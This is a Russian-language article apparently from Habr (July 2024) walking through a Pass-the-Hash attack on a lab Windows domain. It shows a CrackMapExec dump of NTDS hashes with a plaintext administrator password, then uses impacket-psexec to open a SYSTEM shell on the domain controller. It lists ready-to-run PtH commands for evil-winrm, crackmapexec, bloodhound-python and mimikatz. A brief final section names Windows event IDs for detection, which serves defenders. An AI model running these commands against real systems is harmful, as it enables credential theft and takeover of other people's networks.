

# Pass The Hash? Да легко! + артефакты

habr.com/ru/articles/829972

artrone

July 19, 2024

```
(root@kali)-[~]
# crackmapexec smb 192.168.1.1 -u Администратор -p Atom2332 --ntds
SMB 192.168.1.1 445 DC_TEST [*] Windows Server 2016 S
standard 14393 x64 (name:DC_TEST) (domain:test.local) (signing:True) (SMBv1:True)
SMB 192.168.1.1 445 DC_TEST [+] test.local\Администра
тор:Atom2332 (Pwn3d!)
SMB 192.168.1.1 445 DC_TEST [+] Dumping the NTDS, thi
s could take a while so go grab a redbull ...
SMB 192.168.1.1 445 DC_TEST Администратор:500:aad3b43
5b51404eeaad3b435b51404ee:09a118316330913f570de5126e67a832 :::
SMB 192.168.1.1 445 DC_TEST Гость:501:aad3b435b51404e
aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
SMB 192.168.1.1 445 DC_TEST krbtgt:502:aad3b435b51404
eeaad3b435b51404ee:443867096f8e25b90fd8e4e612cb98d8 :::
SMB 192.168.1.1 445 DC_TEST DefaultAccount:503:aad3b4
35b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
SMB 192.168.1.1 445 DC_TEST test.local\Admin:1105:aad
3b435b51404eeaad3b435b51404ee:83da020eb45559b86ad48823e5507cd1 :::
SMB 192.168.1.1 445 DC_TEST test.local\asrep-user:111
0:aad3b435b51404eeaad3b435b51404ee:bff4ff1a73f442dc615f9bdd7ba51fc6 :::
SMB 192.168.1.1 445 DC_TEST test.local\pth-user:1114:
aad3b435b51404eeaad3b435b51404ee:8c2cf560d8d8abef7f13348b6aef1450 :::
SMB 192.168.1.1 445 DC_TEST DC_TEST$:1000:aad3b435b51
404eeaad3b435b51404ee:6be5b8e46367ff3bb19a7275b9c00eec :::
SMB 192.168.1.1 445 DC_TEST PC1$:1103:aad3b435b51404e
aad3b435b51404ee:4796af5b1d5a5774eea023b5bdbd5948 :::
SMB 192.168.1.1 445 DC_TEST [+] Dumped 9 NTDS hashes
to /root/.cme/logs/DC_TEST_192.168.1.1_2024-06-30_065825.ntds of which 7 were
added to the database
```

🔥 Атака Pass The Hash позволяет злоумышленнику повторно использовать NT хэш для входа систему, избегая ввода пароля и используя протокол NTLM для авторизации, вместо базового Kerberos.

## Что такое NT хэш и как его получить?

NTLM хэш (NTHash) представляет собой следующую цепочку преобразований:

Пароль пользователя → UTF16-LE (LE — Little Endian) → MD4

```
test.local\pth-
user:1114:aad3b435b51404eeaad3b435b51404ee:8c2cf560d8d8abef7f13348b6aef1450
:::
```

Как видно, строка дампа состоит из 4х основных частей

1. Логин пользователя
2. Числовой идентификатор (UID)

3. LM хэш (устаревший вариант, который легко брутится)

4. NT хэш

### NT хэш получают одним из следующих способов

- Дамп NTDS.DIT
- Дамп lsass.exe
- Дамп SAM (дамп ветки реестра **HKEY\_LOCAL\_MACHINE\SAM** для локальных УЗ)

### Пример получения NT хэша, используя метод дампа NTDS

```
crackmapexec smb 192.168.1.1 -u Администратор -p password --ntds
```

```
(root@kali)-[~]
# crackmapexec smb 192.168.1.1 -u Администратор -p Atom2332 --ntds
SMB 192.168.1.1 445 DC_TEST [*] Windows Server 2016 S
tandard 14393 x64 (name:DC_TEST) (domain:test.local) (signing:True) (SMBv1:Tr
ue)
SMB 192.168.1.1 445 DC_TEST [+] test.local\Администра
тор:Atom2332 (Pwn3d!)
SMB 192.168.1.1 445 DC_TEST [+] Dumping the NTDS, thi
s could take a while so go grab a redbull ...
SMB 192.168.1.1 445 DC_TEST Администратор:500:aad3b43
5b51404eeaad3b435b51404ee:09a118316330913f570de5126e67a832 :::
SMB 192.168.1.1 445 DC_TEST Гость:501:aad3b435b51404e
aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
SMB 192.168.1.1 445 DC_TEST krbtgt:502:aad3b435b51404
eeaad3b435b51404ee:443867096f8e25b90fd8e4e612cb98d8 :::
SMB 192.168.1.1 445 DC_TEST DefaultAccount:503:aad3b4
35b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
SMB 192.168.1.1 445 DC_TEST test.local\Admin:1105:aad
3b435b51404eeaad3b435b51404ee:83da020eb45559b86ad48823e5507cd1 :::
SMB 192.168.1.1 445 DC_TEST test.local\asrep-user:111
0:aad3b435b51404eeaad3b435b51404ee:bff4ff1a73f442dc615f9bdd7ba51fc6 :::
SMB 192.168.1.1 445 DC_TEST test.local\pth-user:1114:
aad3b435b51404eeaad3b435b51404ee:8c2cf560d8d8abef7f13348b6aef1450 :::
SMB 192.168.1.1 445 DC_TEST DC_TEST$:1000:aad3b435b51
404eeaad3b435b51404ee:6be5b8e46367ff3bb19a7275b9c00eec :::
SMB 192.168.1.1 445 DC_TEST PC1$:1103:aad3b435b51404e
aad3b435b51404ee:4796af5b1d5a5774eea023b5bdbd5948 :::
SMB 192.168.1.1 445 DC_TEST [+] Dumped 9 NTDS hashes
to /root/.cme/logs/DC_TEST_192.168.1.1_2024-06-30_065825.ntds of which 7 were
added to the database
```

В данном случае, важно учитывать наличие необходимых прав УЗ.

## Практика

Как было сказано, РТН позволяет войти в систему без пароля по протоколу NTLM.

Обычно, для этих целей используется PSexec из набора Impacket:

```
impacket-psexec -dc-ip 192.168.1.1 pth-user@test.local -hashes  
aad3b435b51404eeaad3b435b51404ee:8c2cf560d8d8abef7f13348b6aef1450
```

```
(root@kali)-[~]  
# impacket-psexec -dc-ip 192.168.1.1 pth-user@test.local -hashes aad3b435b51404eeaad3b435b51404ee:8c  
1450  
Impacket v0.12.0.dev1+20230907.33311.3f645107 - Copyright 2023 Fortra  
  
[*] Requesting shares on test.local.....  
[*] Found writable share ADMIN$  
[*] Uploading file xjSVBspl.exe  
[*] Opening SVCManager on test.local.....  
[*] Creating service tCQp on test.local.....  
[*] Starting service tCQp.....  
[!] Press help for extra shell commands  
Microsoft Windows [Version 10.0.14393]  
[-] Decoding error detected, consider running chcp.com at the target,  
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings  
and then execute smbexec.py again with -codec and the corresponding codec  
(c) �� �� �� �� �� �� �� �� (Microsoft Corporation), 2015. �� �� �� �� �� �� �� ��.  
  
C:\Windows\system32> whoami  
[-] Decoding error detected, consider running chcp.com at the target,  
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings  
and then execute smbexec.py again with -codec and the corresponding codec  
nt authority\�� ��  
  
C:\Windows\system32> hostname  
DC_TEST  
  
C:\Windows\system32> █
```

## Дополнительная информация

### Использование только NT хэша

На данный момент, LM хэш не является обязательным атрибутом для проведения атаки РТН. Как можно заметить, LM хэш для каждого пользователя из примера получения хэшей совпадает и начинается с **aad3b4**.... Такая особенность связана с хэшированием «пустого пароля», поскольку в современных системах используется только NT хэш из-за слабой криптостойкости односторонней функции хэширования, и такая конструкция называется **«заглушкой»**. Именно поэтому, возможно использовать лишь NT хэш:

```
impacket-psexec -dc-ip 192.168.1.1 pth-user@test.local -hashes  
:8c2cf560d8d8abef7f13348b6aef1450
```

```
(root@kali)-[~]
# impacket-psexec -dc-ip 192.168.1.1 pth-user@test.local -hashes :8c2cf560d8d8abef7f13348b6aef1450
Impacket v0.12.0.dev1+20230907.333111.3f645107 - Copyright 2023 Fortra

[*] Requesting shares on test.local.....
[*] Found writable share ADMIN$
[*] Uploading file FbNEekfV.exe
[*] Opening SVCManager on test.local.....
[*] Creating service jxtR on test.local.....
[*] Starting service jxtR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) �� �� �� �� �� �� �� �� (Microsoft Corporation), 2016. �� �� �� �� �� �� �� ��

C:\Windows\system32> hostname
DC_TEST

C:\Windows\system32>
```

## Основные утилиты, представляющие функционал для РТН

- **psexec**

```
impacket-psexec -dc-ip 192.168.1.1 pth-user@test.local -hashes
:8c2cf560d8d8abef7f13348b6aef1450
```

- **evil-winrm**

```
evil-winrm -i 192.168.1.1 -u "TEST\pth-user" --hash  
8c2cf560d8d8abef7f13348b6aef1450
```

- **crackmapexec**

```
crackmapexec smb 192.168.1.1 -u pth.user -H 8c2cf560d8d8abef7f13348b6aef1450
```

- **bloodhound-python**

```
bloodhound-python -u "pth-user" --hashes
aad3b435b51404eeaad3b435b51404ee:8c2cf560d8d8abef7f13348b6aef1450
-ns 192.168.1.1 -d test.local -c all
```

- mimikatz.exe

- o `privilege::debug`
- o `sekurlsa::pth /user:pth-user /domain:test /ntlm:8c2cf560d8d8abef7f13348b6aef1450 /run:powershell.exe`

- И т.д.

## Меняется ли алгоритм аутентификации NTLM при PTH?

Нет, сам алгоритм никак не меняется, поскольку при легитимной аутентификации пароль в открытом виде не применяется, но берется его хэш.

При атаке РТН нам не нужно вычислять хэш пароля, поскольку он у нас и так уже есть.

## Профит

---

Как уже было сказано, злоумышленник может повторно использовать украденный NT хэш для аутентификации по протоколу NTLM, минуя явное указание пароля и аутентификацию Kerberos.

### Также можно

---

- получить TGT билет
- Сбрутить хэш и получить пароль

## Артефакты

---

Основной проблемой атаки РТН для синей команды является сложность детекта для удаленно проведенной атаки.

Обычно, неудачная попытка доступа к шаре при указании неверного пароля/NT хэша вызывает следующие индикаторы:

- **Logon Type 3 (Network)** — пользователь или компьютер входит в систему
- **4625** — ошибка входа в связи с неверным УД

Однако, такой расклад не доказывает попытку проведения атаки Pass-The-Hash в полной мере.

### Основными индикаторами локально проведенной атаки служат 3 фактора

---

1. **Logon Type 9 (New credentials)** — использование утилиты «runas» для запуска приложения
2. **4648** — Выполнена попытка входа в систему с явным указанием УД
3. **4624** — Вход в УЗ выполнен успешно

*Еще иногда к этому добавляется событие*

**4672** — Специальные привилегии, присвоенные новому входу в систему

По сути, это событие возникает при учете входа в УЗ, обладающей административными правами.